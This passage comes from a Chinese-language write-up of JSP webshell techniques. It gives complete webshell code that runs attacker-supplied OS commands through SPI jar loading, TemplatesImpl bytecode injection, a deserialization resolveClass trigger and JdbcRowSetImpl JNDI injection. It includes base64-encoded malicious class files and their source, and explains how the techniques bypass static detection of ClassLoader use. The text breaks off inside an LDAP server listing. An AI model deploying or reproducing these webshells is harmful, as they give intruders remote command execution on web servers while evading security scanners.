Files.write(Paths.get(jarPath), Base64.getDecoder().decode("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"));

try {

Iterator iterator = ServiceLoader

.load(ScriptEngineFactory.class, new URLClassLoader(new URL[]{new URL("file:" + jarPath)})).iterator();

while (iterator.hasNext())

iterator.next();

} catch (Throwable e) {

response.getOutputStream().write(e.getCause().getMessage().getBytes());

}

%>

java的spi机制,具体也很简单,我也不想描述,可以去查查资料,这里的base64的内容,其实就是自行编译的一个jar包,其中有个恶意类实现了ScriptEngineFactory,在调用new ScriptEngineManager(new URLClassLoader(new URL[]{new URL("file://" + jarPath)}));,其中的代码实现会加载jar包内的META-INF/services/javax.script.ScriptEngineFactory文件,读取class名,然后从jar包中加载并实例化,这样就能触发恶意类的代码执行了。

而这个jsp webshell的逻辑,利用了写临时文件,把jar写到临时目录持久化,让URLClassLoader能不出网本地加载,然后寄存用户shell命令到临时目录下的文件jabdhjabdjkandaldlanaklndkand.txt,接着在加载jar执行完命令后,把输出结果寄存在临时目录下的文件jfkdjkadnkladmknjknfkjnadkad.txt,最后在jsp中对其内容进行读取回显。

恶意class的内容是这样的:

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.List;

import javax.script.ScriptEngine;

import javax.script.ScriptEngineFactory;

import java.io.File;

/**

* @author LaoHaiScript

*/

public class LaoHaiScript implements ScriptEngineFactory {

public LaoHaiScript() {

try {

String tmp = System.getProperty("java.io.tmpdir");

String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";

String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";

InputStream inputStream = Runtime.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).split(" ")).getInputStream();

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

if (Files.exists(Paths.get(outputFile)))

Files.delete(Paths.get(outputFile));

Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes());

} catch (Throwable e) {

e.printStackTrace();

}

}

@Override

public String getEngineName() {

return null;

}

@Override

public String getEngineVersion() {

return null;

}

@Override

public List getExtensions() {

return null;

}

@Override

public List getMimeTypes() {

return null;

}

@Override

public List getNames() {

return null;

}

@Override

public String getLanguageName() {

return null;

}

@Override

public String getLanguageVersion() {

return null;

}

@Override

public Object getParameter(String key) {

return null;

}

@Override

public String getMethodCallSyntax(String obj, String m, String... args) {

return null;

}

@Override

public String getOutputStatement(String toDisplay) {

return null;

}

@Override

public String getProgram(String... statements) {

return null;

}

@Override

public ScriptEngine getScriptEngine() {

return null;

}

}

META-INF/services/javax.script.ScriptEngineFactory文件的内容:

LaoHaiScript

十一、利用TemplatesImpl触发的JSP Webshell

利用TemplatesImpl触发的JSP Webshell

String tmp = System.getProperty("java.io.tmpdir");

String inputFile = tmp + File.separator + "jabdhjabdjkandaldlanaklndkand.txt";

String outputFile = tmp + File.separator + "jfkdjkadnkladmknjknfkjnadkad.txt";

String s = request.getParameter("threedr3am");

if (Files.exists(Paths.get(inputFile)))

Files.delete(Paths.get(inputFile));

Files.write(Paths.get(inputFile), s.getBytes());

TemplatesImpl t = new TemplatesImpl();

Field field = FieldUtil.getDeclaredFields(t.getClass())[4];

byte[][] bytes = new byte[1][];

bytes[0] = Base64.getDecoder().decode("yv66vgAAADQAjwoAJgA5CAA6CgA7ADwHAD0KAAQAOQoABAA+CQA/AEAIAEEKAAQAQggAQwoARABFBwBGCgBHAEgKAEkASgoADABLCABMCABNCgAMAE4IAE8KAAwAUAoARABRCgBSAFMHAFQHAFUKABgAVgoAFwBXCgAXAFgIAFkHAFoKAEkAWwoASQBcCgAMAF0HAF4KAEkAXwcAYAoAIwBhBwBiBwBjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEADVN0YWNrTWFwVGFibGUHAGIHAEYHAGQHAD0HAFQHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAApFeGNlcHRpb25zBwBlAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAClNvdXJjZUZpbGUBABJUaHJlZWRyM2FtXzExLmphdmEMACcAKAEADmphdmEuaW8udG1wZGlyBwBmDABnAGgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAaQBqBwBrDABsAG0BAANjbWQMAG4AbwEABnJlc3VsdAcAcAwAcQByAQAQamF2YS9sYW5nL1N0cmluZwcAcwwAdAB1BwB2DAB3AHgMACcAeQEAASUBAAAMAHoAewEAASAMAHwAfQwAfgB/BwCADACBAIIBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAJwCDDAAnAIQMAIUAbwEAAQoBABhqYXZhL25pby9maWxlL0xpbmtPcHRpb24MAIYAhwwAiACJDACKAIsBABhqYXZhL25pby9maWxlL09wZW5PcHRpb24MAIwAjQEAE2phdmEvbGFuZy9UaHJvd2FibGUMAI4AKAEADVRocmVlZHIzYW1fMTEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQATamF2YS9pby9JbnB1dFN0cmVhbQEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAMamF2YS9pby9GaWxlAQAJc2VwYXJhdG9yAQASTGphdmEvbGFuZy9TdHJpbmc7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAE2phdmEvbmlvL2ZpbGUvUGF0aHMBAANnZXQBADsoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAE2phdmEvbmlvL2ZpbGUvRmlsZXMBAAxyZWFkQWxsQnl0ZXMBABgoTGphdmEvbmlvL2ZpbGUvUGF0aDspW0IBAAUoW0IpVgEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBAAZleGlzdHMBADIoTGphdmEvbmlvL2ZpbGUvUGF0aDtbTGphdmEvbmlvL2ZpbGUvTGlua09wdGlvbjspWgEABmRlbGV0ZQEAFyhMamF2YS9uaW8vZmlsZS9QYXRoOylWAQAIZ2V0Qnl0ZXMBAAQoKVtCAQAFd3JpdGUBAEcoTGphdmEvbmlvL2ZpbGUvUGF0aDtbQltMamF2YS9uaW8vZmlsZS9PcGVuT3B0aW9uOylMamF2YS9uaW8vZmlsZS9QYXRoOwEAD3ByaW50U3RhY2tUcmFjZQAhACUAJgAAAAAAAwABACcAKAABACkAAAFwAAUACAAAANsqtwABEgK4AANMuwAEWbcABSu2AAayAAe2AAYSCLYABrYACU27AARZtwAFK7YABrIAB7YABhIKtgAGtgAJTrgAC7sADFksA70ADLgADbgADrcADxIQEhG2ABISE7YAFLYAFbYAFjoEuwAEWbcABToFuwAXWbsAGFkZBLcAGbcAGjoGGQa2ABtZOgfGABMZBRkHtgAGEhy2AAZXp//oLQO9AAy4AA0DvQAduAAemQAOLQO9AAy4AA24AB8tA70ADLgADRkFtgAJtgAgA70AIbgAIlenAAhMK7YAJLEAAQAEANIA1QAjAAIAKgAAAEIAEAAAABIABAAUAAoAFQAkABYAPgAYAGcAGQBwABoAggAcAI0AHQCdAB8ArwAgALoAIQDSACQA1QAiANYAIwDaACUAKwAAADMABf8AggAHBwAsBwAtBwAtBwAtBwAuBwAvBwAwAAD8ABoHAC0c/wAaAAEHACwAAQcAMQQAAQAyADMAAgApAAAAGQAAAAMAAAABsQAAAAEAKgAAAAYAAQAAACoANAAAAAQAAQA1AAEAMgA2AAIAKQAAABkAAAAEAAAAAbEAAAABACoAAAAGAAEAAAAwADQAAAAEAAEANQABADcAAAACADg=");

field.setAccessible(true);

field.set(t, bytes);

Field field2 = FieldUtil.getDeclaredFields(t.getClass())[12];

field2.setAccessible(true);

field2.set(t, TransformerFactoryImpl.newInstance());

Field field3 = FieldUtil.getDeclaredFields(t.getClass())[3];

field3.setAccessible(true);

field3.set(t, "threedr3am");

Field field4 = FieldUtil.getDeclaredFields(t.getClass())[7];

field4.setAccessible(true);

field4.set(t, new HashMap<>());

try {

t.getOutputProperties();

} catch (Exception e) {}

String resutl = new String(IOUtils.readFully(new FileInputStream(new File(outputFile)), -1, true));

response.getOutputStream().write(resutl.getBytes());

%>

熟悉java原生反序列化gadget的人,看到这个TemplatesImpl应该都比较熟悉了吧,这个类是很多gadget的核心,利用它实现了加载自定义恶意class并实例化,如果遇到了某些静态检测引擎对URLClassLoader的或者ClassLoader的检测,那么,就可以使用TemplatesImpl对其进行绕过。

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;

import java.io.File;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.nio.file.Files;

import java.nio.file.Paths;

/**

* @author threedr3am

*/

public class Threedr3am_11 extends AbstractTranslet {

public Threedr3am_11() {

try {

String tmp = System.getProperty("java.io.tmpdir");

String inputFile = tmp + File.separator + "cmd";

String outputFile = tmp + File.separator + "result";

InputStream inputStream = Runtime

.getRuntime().exec(new String(Files.readAllBytes(Paths.get(inputFile))).replace("%", "").split(" ")).getInputStream();

StringBuilder stringBuilder = new StringBuilder();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

if (Files.exists(Paths.get(outputFile)))

Files.delete(Paths.get(outputFile));

Files.write(Paths.get(outputFile), stringBuilder.toString().getBytes());

} catch (Throwable e) {

e.printStackTrace();

}

}

@Override

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)

throws TransletException {

}

}

十二、重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell

重写ObjectInputStream.resolveClass实现反序列化readObject触发的JSP Webshell

class Custom extends ObjectInputStream {

public Custom(InputStream in) throws IOException {

super(in);

}

@Override

protected Class> resolveClass(ObjectStreamClass desc)

throws IOException, ClassNotFoundException {

String name = desc.getName();

String tmp = System.getProperty("java.io.tmpdir");

Files.write(Paths.get(tmp + File.separator + "CMD"), request.getParameter("threedr3am").getBytes());

Files.write(Paths.get(tmp + File.separator + "Threedr3am_12.class"), Base64.getDecoder().decode("yv66vgAAADQAtgoAJgBXBwBYCgACAFcIAFkKAFoAWwkAWgBcCgBdAF4HAF8KAAIAYAkAYQBiCABjCgACAGQKAGUAZgoAZwBoCgAIAGkKAGoAawoAagBsCgBtAG4HAG8HAHAKABQAcQoAEwByCgATAHMIAHQHAHUKABkAdgoAGQB3BwB4CgAcAFcHAHkKAB4AegcAewoAIABXCgAeAHwKAH0AfgoAHAB/CgCAAIEHAIIHAIMBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFAAAAAAAAAAEBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxYWFhYOwEACnJlYWRPYmplY3QBAB4oTGphdmEvaW8vT2JqZWN0SW5wdXRTdHJlYW07KVYBAAN0bXABABJMamF2YS9sYW5nL1N0cmluZzsBAANjbWQBAAtpbnB1dFN0cmVhbQEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAEbGluZQEAAWUBABVMamF2YS9sYW5nL1Rocm93YWJsZTsBAAJpcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEADXN0cmluZ0J1aWxkZXIBABlMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQANU3RhY2tNYXBUYWJsZQcAewcAhAcAWAcAXwcAhQcAbwcAdQEACkV4Y2VwdGlvbnMBAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAVYnl0ZUFycmF5T3V0cHV0U3RyZWFtAQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwcAhgcAhwEAClNvdXJjZUZpbGUBAAlYWFhYLmphdmEMAC0ALgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAOamF2YS5pby50bXBkaXIHAIgMAIkAigwAiwCMBwCNDACOAI8BABBqYXZhL2xhbmcvU3RyaW5nDACQAJEHAJIMAJMANwEAA0NNRAwAlACVBwCWDACXAJgHAJkMAJoAmwwALQCcBwCdDACeAJ8MAKAAoQcAogwAowCkAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEAGWphdmEvaW8vSW5wdXRTdHJlYW1SZWFkZXIMAC0ApQwALQCmDACnAJUBAAEKAQATamF2YS9sYW5nL1Rocm93YWJsZQwAqAAuDAAtAI8BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQEAGmphdmEvaW8vT2JqZWN0T3V0cHV0U3RyZWFtDAAtAKkBAARYWFhYDACqAKsHAKwMAK0AsAwAsQCyBwCzDAC0ALUBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBABlqYXZhL2lvL09iamVjdElucHV0U3RyZWFtAQATamF2YS9pby9JbnB1dFN0cmVhbQEAE2phdmEvaW8vSU9FeGNlcHRpb24BACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAB3ByaW50bG4BABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAxqYXZhL2lvL0ZpbGUBAAlzZXBhcmF0b3IBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQATamF2YS9uaW8vZmlsZS9QYXRocwEAA2dldAEAOyhMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL25pby9maWxlL1BhdGg7AQATamF2YS9uaW8vZmlsZS9GaWxlcwEADHJlYWRBbGxCeXRlcwEAGChMamF2YS9uaW8vZmlsZS9QYXRoOylbQgEABShbQilWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAD3ByaW50U3RhY2tUcmFjZQEAGShMamF2YS9pby9PdXRwdXRTdHJlYW07KVYBAAt3cml0ZU9iamVjdAEAFShMamF2YS9sYW5nL09iamVjdDspVgEAEGphdmEvdXRpbC9CYXNlNjQBAApnZXRFbmNvZGVyAQAHRW5jb2RlcgEADElubmVyQ2xhc3NlcwEAHCgpTGphdmEvdXRpbC9CYXNlNjQkRW5jb2RlcjsBAAt0b0J5dGVBcnJheQEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFihbQilMamF2YS9sYW5nL1N0cmluZzsAIQAgACYAAQAnAAEAGgAoACkAAQAqAAAAAgArAAMAAQAtAC4AAQAvAAAALwABAAEAAAAFKrcAAbEAAAACADAAAAAGAAEAAAAWADEAAAAMAAEAAAAFADIAMwAAAAIANAA1AAIALwAAAXUABQAIAAAAjrsAAlm3AANNEgS4AAVOsgAGLbYAB7sACFm7AAJZtwADLbYACbIACrYACRILtgAJtgAMA70ACLgADbgADrcADzoEuAAQGQS2ABG2ABI6BbsAE1m7ABRZGQW3ABW3ABY6BhkGtgAXWToHxgASLBkHtgAJEhi2AAlXp//ppwAITi22ABq7ABlZLLYADLcAG78AAQAIAHoAfQAZAAMAMAAAADIADAAAABoACAAcAA4AHQAVAB4AQQAfAE4AIABgACIAawAjAHoAJwB9ACUAfgAmAIIAKAAxAAAAXAAJAA4AbAA2ADcAAwBBADkAOAA3AAQATgAsADkAOgAFAGAAGgA7ADwABgBoABIAPQA3AAcAfgAEAD4APwADAAAAjgAyADMAAAAAAI4AQABBAAEACACGAEIAQwACAEQAAAAzAAT/AGAABwcARQcARgcARwcASAcASAcASQcASgAA/wAZAAMHAEUHAEYHAEcAAEIHAEsEAEwAAAAEAAEAGQAJAE0ATgACAC8AAABrAAMAAgAAACu7ABxZtwAdTLsAHlkrtwAfuwAgWbcAIbYAIrIABrgAIyu2ACS2ACW2AAexAAAAAgAwAAAAEgAEAAAALAAIAC0AGgAuACoAMgAxAAAAFgACAAAAKwBPAFAAAAAIACMAUQBSAAEATAAAAAYAAgBTAFQAAgBVAAAAAgBWAK8AAAAKAAEAgAB9AK4ACQ=="));

return Class.forName(name, false, new URLClassLoader(new URL[]{new URL("file:" + tmp + File.separator)}));

}

}

try {

new Custom(new ByteArrayInputStream(Base64.getDecoder().decode("rO0ABXNyAARYWFhYAAAAAAAAAAECAAB4cA=="))).readObject();

} catch (Exception e) {

response.getOutputStream().write(e.getCause().getMessage().getBytes());

}

%>

而Threedr3am_12.class文件的源码:

import com.sun.org.apache.xalan.internal.xsltc.DOM;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;

import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;

import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.BufferedReader;

import java.io.ByteArrayOutputStream;

import java.io.File;

import java.io.IOException;

import java.io.InputStream;

import java.io.InputStreamReader;

import java.io.ObjectInputStream;

import java.io.ObjectOutputStream;

import java.io.Serializable;

import java.nio.file.Files;

import java.nio.file.Paths;

import java.util.Base64;

/**

* @author threedr3am

*/

public class Threedr3am_12 implements Serializable {

private static final long serialVersionUID = 1L;

private void readObject(ObjectInputStream is) throws Throwable {

StringBuilder stringBuilder = new StringBuilder();

try {

String tmp = System.getProperty("java.io.tmpdir");

String cmd = new String(Files.readAllBytes(Paths.get(tmp + File.separator + "CMD")));

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

} catch (Throwable e) {

e.printStackTrace();

}

throw new Throwable(stringBuilder.toString());

}

public static void main(String[] args) throws IOException {

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

new ObjectOutputStream(byteArrayOutputStream).writeObject(new Threedr3am_12());

System.out.println(Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()));

}

}

只要把这个class文件base64一下,放到jsp马就ok了,理论上这个马挺不错的,如果不禁用Class.forName、URLClassLoader、readObject,那因为可以随意引入jar或者class,那么也就是说可以无限拓展了,比如我可以引入common-collections,也能自己写个jar等等。

十三、使用JdbcRowSetImpl进行jndi注入的JSP Webshell

System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();

jdbcRowSet.setDataSourceName(request.getParameter("threedr3am"));//ldap://localhost:43658/Calc

try {

jdbcRowSet.setAutoCommit(true);

} catch (Throwable e) {

response.getOutputStream().write(e.getCause().getMessage().getBytes());

}

%>

很多人说jndi有版本限制,其实只要把com.sun.jndi.ldap.object.trustURLCodebase设置为true就没有任何限制。

jndi的利用手法不用我说了吧?算了,还是贴点代码吧。

Calc.java:

import java.io.BufferedReader;

import java.io.InputStream;

import java.io.InputStreamReader;

/**

* @author LaoHai

*/

public class Calc {

static {

StringBuilder stringBuilder = new StringBuilder();

try {

String cmd = "whoami";

InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();

BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));

String line;

while((line = bufferedReader.readLine()) != null) {

stringBuilder.append(line).append("\n");

}

} catch (Throwable e) {

e.printStackTrace();

}

Integer.parseInt(stringBuilder.toString());

}

public static void main(String[] args) {

}

}

LdapServer.java:

import com.unboundid.ldap.listener.InMemoryDirectoryServer;

import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;

import com.unboundid.ldap.listener.InMemoryListenerConfig;

import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;

import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;

import com.unboundid.ldap.sdk.Entry;

import com.unboundid.ldap.sdk.LDAPException;

import com.unboundid.ldap.sdk.LDAPResult;

import com.unboundid.ldap.sdk.ResultCode;

import com.unboundid.util.Base64;

import java.net.InetAddress;

import java.net.MalformedURLException;

import java.net.URL;

import java.text.ParseException;

import javax.net.ServerSocketFactory;

import javax.net.SocketFactory;

